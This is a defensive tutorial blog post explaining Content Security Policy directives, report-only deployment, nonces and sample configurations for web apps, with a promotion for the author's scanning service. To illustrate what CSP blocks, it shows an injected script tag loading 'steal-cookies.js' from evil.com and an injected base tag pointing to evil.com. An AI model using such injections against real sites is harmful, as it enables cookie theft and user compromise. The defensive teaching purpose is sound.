Antoine Duno
Founder of ZeriFlow · 10 years fullstack engineering · About the author
Key Takeaways
- Content Security Policy is the most powerful browser security mechanism available — and the most commonly misconfigured. This guide walks through every directive with real-world examples, shows you how to build a CSP that doesn't break your site, and explains how to use report-uri to catch violations before they become problems.
- Includes copy-paste code examples and step-by-step instructions.
- Free automated scan available to verify your implementation.
Content Security Policy (CSP): A Practical Guide with Examples
Content Security Policy is arguably the most powerful browser security mechanism available to web developers. A well-configured CSP can neutralise XSS attacks even when your application code contains injection vulnerabilities — because even if an attacker injects a <script> tag, the browser will refuse to execute it unless the source is explicitly whitelisted.
The reason CSP is so commonly misconfigured (or absent) is that getting it right requires understanding your site''s resource loading patterns in detail. This guide gives you the mental model, the directive reference, and the practical workflow to deploy CSP without breaking your site.
What Is a Content Security Policy?
CSP is an HTTP response header that defines a whitelist of trusted sources for every type of resource your page can load: scripts, styles, images, fonts, media, frames, workers, and more.
When a browser receives a CSP header, it enforces it for every resource load on that page. Any resource that does not match the policy is blocked and — if you have configured report-uri or report-to — a violation report is sent to your endpoint.
Without CSP:
<!-- Attacker injects this via a comment field -->
<script src="https://evil.com/steal-cookies.js"></script>
<!-- Browser executes it: your users'' cookies are stolen -->With Content-Security-Policy: script-src ''self'':
<script src="https://evil.com/steal-cookies.js"></script>
<!-- Browser blocks this: "not in the script-src whitelist" -->Report-Only Mode: Deploy Without Breaking Anything
The single most important piece of CSP advice is this: start in report-only mode.
Content-Security-Policy-Report-Only: default-src ''self''; report-uri /csp-reportsWith this header, the browser logs violations and sends reports to your endpoint but does not block anything. This lets you discover every resource your page loads before you commit to enforcing a policy.
Here is a minimal Express endpoint to collect CSP reports:
app.post(''/csp-reports'', express.json({ type: ''application/csp-report'' }), (req, res) => {
const report = req.body[''csp-report''];
console.log(''CSP Violation:'', {
directive: report[''violated-directive''],
blockedUri: report[''blocked-uri''],
documentUri: report[''document-uri''],
});
res.status(204).end();
});Run your app with this in place, navigate through every page and user flow, trigger every feature. Any resource that appears in your violation logs needs to be either whitelisted in your policy or removed. Once the violation log is clean, switch from Content-Security-Policy-Report-Only to Content-Security-Policy.
CSP Directives: Complete Reference
Fetch Directives (Control Resource Loading)
These are the core directives that define what can be loaded and from where.
`default-src`
The fallback for all resource types that do not have their own directive. Think of it as the catch-all. A good starting point:
Content-Security-Policy: default-src ''self''This means: for any resource type not explicitly listed, only allow loads from the same origin.
`script-src`
Controls JavaScript sources. This is the most security-critical directive.
# Strict — only same origin
script-src ''self''
# Allow a specific CDN
script-src ''self'' https://cdn.jsdelivr.net
# Allow inline scripts (AVOID if possible — defeats XSS protection)
script-src ''self'' ''unsafe-inline''
# Allow dynamic evaluation like eval() (AVOID — very permissive)
script-src ''self'' ''unsafe-eval''
# Best practice: use nonces
script-src ''self'' ''nonce-{RANDOM_NONCE}''`style-src`
Controls CSS sources.
# Inline styles are extremely common in frameworks — this is usually necessary
style-src ''self'' ''unsafe-inline''
# Or allow Google Fonts
style-src ''self'' ''unsafe-inline'' https://fonts.googleapis.com`img-src`
Controls image sources.
# Allow same origin plus data URIs (common for base64 images) and HTTPS
img-src ''self'' data: https:`font-src`
Controls font loading.
font-src ''self'' https://fonts.gstatic.com`connect-src`
Controls URLs for fetch(), XMLHttpRequest, WebSocket, and EventSource.
connect-src ''self'' https://api.yourdomain.com wss://realtime.yourdomain.com`media-src`
Controls <video> and <audio> sources.
`object-src`
Controls <object> and <embed> — almost always set to ''none'':
object-src ''none''Flash and plugin-based content should not exist on any modern web application.
`worker-src`
Controls Service Worker, Web Worker, and SharedWorker scripts.
worker-src ''self''`manifest-src`
Controls the Web App Manifest file.
`child-src`
Fallback for frame-src and worker-src (deprecated in favour of using those directives directly).
Navigation Directives
`form-action`
Controls where forms can submit. Without this, an XSS attack could modify form action attributes to exfiltrate user input.
form-action ''self'' https://payment.example.com`frame-ancestors`
Controls which origins can embed your page in an iframe. This is the modern replacement for X-Frame-Options.
# Prevent all framing (equivalent to X-Frame-Options: DENY)
frame-ancestors ''none''
# Allow framing only by same origin (equivalent to X-Frame-Options: SAMEORIGIN)
frame-ancestors ''self''
# Allow a specific origin
frame-ancestors ''self'' https://trusted-partner.com`navigate-to` (draft)
Controls where the page can navigate to. Not yet widely supported.
Reporting Directives
`report-uri` (deprecated but still widely supported)
Content-Security-Policy: default-src ''self''; report-uri /csp-reports`report-to` (modern replacement)
Content-Security-Policy: default-src ''self''; report-to csp-endpoint
Reporting-Endpoints: csp-endpoint="https://yourdomain.com/csp-reports"Source Expressions
These are the values you use in fetch directives:
| Value | Meaning |
|---|---|
''self'' | Same origin (scheme + host + port) |
''none'' | No sources allowed |
https: | Any HTTPS URL |
https://cdn.example.com | Specific origin |
https://cdn.example.com/scripts/ | Specific path prefix |
''unsafe-inline'' | Inline scripts/styles (avoid for scripts) |
''unsafe-eval'' | eval() and similar (avoid) |
''nonce-RANDOM'' | Specific inline script with matching nonce |
''sha256-HASH'' | Inline script/style matching this hash |
''strict-dynamic'' | Trust scripts loaded by trusted scripts |
Using Nonces: The Right Way to Allow Inline Scripts
If your application needs inline scripts (which is common with server-rendered apps), avoid ''unsafe-inline''. Use nonces instead.
A nonce is a cryptographically random value generated per request. You include it in both the CSP header and the inline <script> tag. The browser verifies they match before executing.
Server-side (Node.js/Express example):
import crypto from ''crypto'';
import express from ''express'';
const app = express();
app.use((req, res, next) => {
res.locals.nonce = crypto.randomBytes(16).toString(''base64'');
res.setHeader(
''Content-Security-Policy'',
`script-src ''self'' ''nonce-${res.locals.nonce}''; style-src ''self'' ''unsafe-inline''`
);
next();
});
app.get(''/'', (req, res) => {
res.send(`
<html>
<body>
<script nonce="${res.locals.nonce}">
console.log(''This inline script is allowed by CSP'');
</script>
<script>
// This script has no nonce — the browser will block it
console.log(''blocked'');
</script>
</body>
</html>
`);
});Important: the nonce must be: - Cryptographically random (not predictable) - Different on every single request - At least 128 bits of entropy
Common Real-World CSP Configurations
Simple Static Website
Content-Security-Policy: default-src ''self''; img-src ''self'' data:; style-src ''self'' ''unsafe-inline''; font-src ''self''; frame-ancestors ''none''; object-src ''none''SaaS Application with External Analytics and Fonts
Content-Security-Policy:
default-src ''self'';
script-src ''self'' https://js.stripe.com https://www.googletagmanager.com ''nonce-{RANDOM}'';
style-src ''self'' ''unsafe-inline'' https://fonts.googleapis.com;
img-src ''self'' data: https://www.google-analytics.com https://www.googletagmanager.com;
font-src ''self'' https://fonts.gstatic.com;
connect-src ''self'' https://api.stripe.com https://www.google-analytics.com https://api.yourdomain.com;
frame-src https://js.stripe.com;
frame-ancestors ''none'';
object-src ''none'';
base-uri ''self'';
form-action ''self''React/Next.js SPA
Next.js and many React setups require ''unsafe-eval'' in development. In production, use nonces via Next.js middleware:
// middleware.ts
import { NextResponse } from ''next/server'';
import { NextRequest } from ''next/server'';
import crypto from ''crypto'';
export function middleware(request: NextRequest) {
const nonce = Buffer.from(crypto.randomUUID()).toString(''base64'');
const csp = `
default-src ''self'';
script-src ''self'' ''nonce-${nonce}'' ''strict-dynamic'';
style-src ''self'' ''unsafe-inline'';
img-src ''self'' blob: data:;
font-src ''self'';
object-src ''none'';
base-uri ''self'';
form-action ''self'';
frame-ancestors ''none'';
upgrade-insecure-requests;
`.replace(/\\s{2,}/g, '' '').trim();
const response = NextResponse.next();
response.headers.set(''Content-Security-Policy'', csp);
response.headers.set(''x-nonce'', nonce);
return response;
}How to Avoid Breaking Your Site
These are the most common ways CSP deployments go wrong:
Breaking inline scripts: If you use any inline <script> tags without nonces or hashes, setting script-src ''self'' will break them silently (from a user perspective) or loudly (broken functionality). Use report-only mode to catch these first.
Forgetting third-party services: Analytics, chat widgets, A/B testing tools, payment processors — all of these load external scripts. You must whitelist each one explicitly. The report-only phase will surface them all.
Breaking CSS-in-JS: Libraries like styled-components, Emotion, and MUI generate inline <style> tags at runtime. You typically need ''unsafe-inline'' in style-src for these, or implement nonce-based solutions using the library''s configuration.
Forgetting `base-uri`: Without base-uri ''self'', an XSS attack can inject a <base href="https://evil.com"> tag and redirect all relative URLs.
Missing `form-action`: Without this, XSS attacks can redirect form submissions to attacker-controlled endpoints.
Testing Your CSP
Browser console: Open DevTools and check the Console tab. CSP violations appear as red errors with detailed messages about what was blocked and which directive caused the block.
Report collection: Set up a report-uri endpoint and browse your site. Any violation appears in your logs.
CSP Evaluator: Google''s CSP Evaluator analyses your policy string and flags weaknesses.
Automated scan: ZeriFlow checks your CSP header as part of a full security scan, flagging missing or overly permissive policies.
The upgrade-insecure-requests Directive
One useful directive worth adding to almost any policy:
Content-Security-Policy: ...; upgrade-insecure-requestsThis instructs browsers to automatically upgrade any HTTP resource loads to HTTPS. It is particularly useful during migrations from HTTP to HTTPS where some legacy content URLs in your database may still reference http://.
Summary
CSP is the most powerful header in your security arsenal, but it requires careful deployment:
- 1Start with
Content-Security-Policy-Report-Only - 2Collect violations across all your site''s pages and user flows
- 3Build a policy that whitelists everything legitimate
- 4Replace
''unsafe-inline''for scripts with nonces wherever possible - 5Add
frame-ancestors ''none''or''self''to block clickjacking - 6Add
object-src ''none''andbase-uri ''self''unconditionally - 7Switch from report-only to enforcement mode
- 8Keep
report-uriin place to catch future regressions
To check whether your current CSP is effective or missing entirely, run a free scan at ZeriFlow.